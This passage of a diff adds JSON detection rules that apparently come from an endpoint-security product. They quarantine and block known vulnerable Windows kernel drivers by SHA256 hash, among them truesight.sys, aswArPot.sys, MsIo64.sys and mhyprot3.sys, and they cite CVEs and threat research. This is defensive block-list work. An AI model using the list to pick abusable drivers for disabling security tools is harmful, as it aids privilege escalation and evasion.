+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968545Z",
+  "creation_date": "2026-03-23T11:45:29.968547Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968552Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2594b3ef3675ca3a7b465b8ed4962e3251364bab13b12af00ebba7fa2211abb2",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4beb15d-1ab2-5965-92a3-ede31f804fe9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619629Z",
+  "creation_date": "2026-03-23T11:45:29.619631Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619636Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ca213b79336c69128620bc39e6d987c1e605299fb6525344ba1b08b7829197c7",
+  "comment": "Insyde Software dangerous update tool (aka segwindrvx64.sys) [https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Program%3AWin32%2FVulnInsydeDriver.A&threatid=258247] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4bf71f1-1a99-52d4-a6bc-a9b6fddc6fbd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491394Z",
+  "creation_date": "2026-03-23T11:45:31.491397Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491404Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1cecaab47700515a475fc4a3385b4463a743db9a9612aebbd68f9aa065c7bcd6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4c41d35-4002-592c-9d97-03390ad0dec0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614885Z",
+  "creation_date": "2026-03-23T11:45:29.614886Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd4a249c3ef65af285d0f8f30a8a96e83688486aab515836318a2559757a89bb",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4d35d1e-2b94-55aa-88b6-b5f018cc7526",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817540Z",
+  "creation_date": "2026-03-23T11:45:30.817542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817547Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "700b9839fde53e91f0847053b4d2eb8d9bd3aca098844510f1fa3bab6a37eb24",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4e23811-0d49-56b9-a017-bd44ce8c0c4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474530Z",
+  "creation_date": "2026-03-23T11:45:30.474533Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474542Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2274f63f88ec9b2d2ecfca3068026d62cf3085f76329b11b37498ce2b2b644a8",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4e3b56a-2585-5339-bd66-3c8b888f6fac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144236Z",
+  "creation_date": "2026-03-23T11:45:31.144238Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144243Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18783da092f16c67f269ab2dd4f62600efc3d4eb5a93b279ecfc5be4584b6628",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e4f85165-01a2-5363-9715-55fd1a294dbb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149963Z",
+  "creation_date": "2026-03-23T11:45:31.149965Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149971Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bc651859a42e13f267b48a759098915bfac28372fd9c18c64ccbac1922adcc8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5052ef3-4151-5de4-9828-9c1dc06777f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479047Z",
+  "creation_date": "2026-03-23T11:45:31.479051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479061Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0c3dacb935b9f70192e0cade7d8a5cf3003d0a6fd22170198d9be422437e8d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5162dd4-961a-5996-95d3-8e6c8c5fca6a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156535Z",
+  "creation_date": "2026-03-23T11:45:31.156537Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156542Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a642fd26c18c5806aa5c5f9208118ff73d4fa6c5a78a29b552552a2160b355ad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e52455e3-40d0-57fc-882d-79b78cbaf6ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814389Z",
+  "creation_date": "2026-03-23T11:45:31.814392Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814400Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e98e71356773016fa51de8a675e58ccc506426d203c13f7ddf3642304ae9db5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e52654c5-b3cb-59b1-b17f-8456e7e35f89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614249Z",
+  "creation_date": "2026-03-23T11:45:29.614251Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614256Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d55dd56e24df201d1ad2204d565da5e8e6080d895c1ac2873a6afdcbb4c8b8c7",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e532d449-3187-55e2-b64d-6752d5d8fc61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604950Z",
+  "creation_date": "2026-03-23T11:45:29.604952Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604958Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93969f4b5e79795322d88bd491cef1092f93f84c5f4e264e89f31dc9521995e0",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5489231-42ac-5239-a4cd-ab3f16369f73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825646Z",
+  "creation_date": "2026-03-23T11:45:31.825648Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825653Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4bee9495bd010444b16de63df1273db3b2b0d4913951bc03da73a39274e1255e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e55b5bea-ace3-5f55-878f-a41272afbb8f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452247Z",
+  "creation_date": "2026-03-23T11:45:30.452251Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452260Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bb29eb4651e3276b14217628e96a1e5d83c4e883cd29ebd75aa704dda462e82d",
+  "comment": "Vulnerable Kernel Driver (aka mhyprot3.sys) [https://www.loldrivers.io/drivers/2aa003cd-5f36-46a6-ae3d-f5afc2c8baa3/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e55d2545-f0b2-54f8-a9df-828cdf1ddcce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456190Z",
+  "creation_date": "2026-03-23T11:45:30.456194Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456203Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "603ccc97a198b004f9fa56deed2295d1b2d42ef01f22d80a00cb28bcf1b85646",
+  "comment": "Vulnerable Kernel Driver (aka kdriver.sys) [https://www.loldrivers.io/drivers/51808fa6-89a4-4f4d-aabc-0a7b0e99e34d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5709818-95ab-5630-9444-79cc62fae133",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142718Z",
+  "creation_date": "2026-03-23T11:45:31.142720Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142725Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b831a6ff8e42f6cce281f70dcf2c8a8787f46316804a03d7a55559e6b9819fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e572d5c6-e785-55f8-8369-8640663b381d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478288Z",
+  "creation_date": "2026-03-23T11:45:30.478291Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478300Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b50b11e2203942695380869c6072e15479290bc57da2ec5df3481a36b8a8561e",
+  "comment": "Vulnerable Kernel Driver (aka vboxdrv.sys) [https://www.loldrivers.io/drivers/2da3a276-9e38-4ee6-903d-d15f7c355e7c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e576b0cf-5f2d-5bf9-ab56-af1e9ee29c46",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984601Z",
+  "creation_date": "2026-03-23T11:45:29.984603Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984609Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad23d77a38655acb71216824e363df8ac41a48a1a0080f35a0d23aa14b54460b",
+  "comment": "Vulnerable Kernel Driver (aka sfdrvx32.sys) [https://www.loldrivers.io/drivers/2ada18ae-2c52-49b6-b1a0-cf3b267f6dc7/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e581d178-dfb6-5666-afd5-3927e99524cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972970Z",
+  "creation_date": "2026-03-23T11:45:29.972973Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972978Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8137ce22d0d0fc5ea5b174d6ad3506a4949506477b1325da2ccb76511f4c4f60",
+  "comment": "Elaborate Bytes vulnerable driver (aka ElbyCDIO.sys) [CVE-2009-0824] [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5822ea3-f133-5f6f-b6a4-366101b00e48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983031Z",
+  "creation_date": "2026-03-23T11:45:29.983033Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983039Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a844a8d993db0ee1159b096aee959e32bb9155edd9167b1e6aad2e4019202dd",
+  "comment": "Vulnerable Kernel Driver (aka WiseUnlo.sys) [https://www.loldrivers.io/drivers/b28cc2ee-d4a2-4fe4-9acb-a7a61cad20c6/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5836158-e976-5d90-8850-15f829447f5d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619894Z",
+  "creation_date": "2026-03-23T11:45:29.619897Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619902Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2645298d84585fa987450aa11687b73739cbbc26abaa8125099cae5889beb211",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e58d1935-7b5f-5922-a990-9f48583b42ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829977Z",
+  "creation_date": "2026-03-23T11:45:31.829979Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
